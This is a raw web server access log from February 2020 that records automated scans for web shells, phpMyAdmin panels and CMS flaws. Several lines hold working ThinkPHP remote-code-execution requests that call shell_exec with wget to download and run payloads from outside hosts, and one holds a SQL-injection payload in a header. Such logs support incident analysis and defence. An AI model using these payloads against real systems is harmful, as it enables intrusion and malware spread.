203.195.229.145 - - [04/Feb/2020:20:58:56 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:58:57 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:00 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:00 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:02 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:04 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:04 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:05 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:08 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:08 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:09 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:10 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:10 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:11 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:11 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:12 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:13 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:13 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:15 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:15 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:15 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:16 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:16 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:16 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:16 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:17 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:17 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:18 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:19 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:20 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:20 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:24 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:25 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:25 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:27 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:28 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:29 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
83.97.20.33 - - [04/Feb/2020:20:59:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
203.195.229.145 - - [04/Feb/2020:20:59:30 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:31 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:33 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
31.163.5.85 - - [04/Feb/2020:20:59:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.195.229.145 - - [04/Feb/2020:20:59:36 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:40 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:41 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:42 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
212.91.246.72 - - [04/Feb/2020:20:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:20:59:44 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:44 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:45 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:48 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:20:59:48 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
176.98.156.116 - - [04/Feb/2020:20:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:20:59:52 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:00 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:04 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:04 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:07 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:08 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:08 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:12 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:12 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:16 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:16 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:16 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:20 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:20 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:20 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:24 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:24 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:28 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:28 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
203.195.229.145 - - [04/Feb/2020:21:00:32 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [04/Feb/2020:21:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:21:00:56 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
203.195.229.145 - - [04/Feb/2020:21:01:20 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
83.97.20.34 - - [04/Feb/2020:21:01:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:21:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:21:01:52 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
203.195.229.145 - - [04/Feb/2020:21:02:16 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
42.112.255.175 - - [04/Feb/2020:21:02:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.34 - - [04/Feb/2020:21:02:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
2.132.37.104 - - [04/Feb/2020:21:02:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:21:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:21:02:44 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
203.195.229.145 - - [04/Feb/2020:21:03:20 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
203.195.229.145 - - [04/Feb/2020:21:03:22 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
203.195.229.145 - - [04/Feb/2020:21:03:22 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
203.195.229.145 - - [04/Feb/2020:21:03:22 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
83.97.20.34 - - [04/Feb/2020:21:03:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:21:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.202.201 - - [04/Feb/2020:21:03:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.195.229.145 - - [04/Feb/2020:21:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
118.68.89.82 - - [04/Feb/2020:21:04:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.195.229.145 - - [04/Feb/2020:21:04:28 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [04/Feb/2020:21:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:21:04:52 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
113.195.97.11 - - [04/Feb/2020:21:05:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
203.195.229.145 - - [04/Feb/2020:21:05:40 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:\"num\";s:147:\"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:2:\"id\";s:9:\"' union/*\";s:4:\"name\";s:3:\"ads\";}45ea207d7a2b68c49582d2d22adf953a" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
203.195.229.145 - - [04/Feb/2020:21:05:40 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:05:41 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:05:41 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:05:41 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:05:42 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:21:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.195.229.145 - - [04/Feb/2020:21:06:00 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:00 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:01 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:02 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:02 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:02 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:03 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:03 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:03 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:03 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:04 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:05 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:08 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:09 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:12 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:12 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:13 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:15 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:16 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:16 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:18 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:20 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
203.195.229.145 - - [04/Feb/2020:21:06:20 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
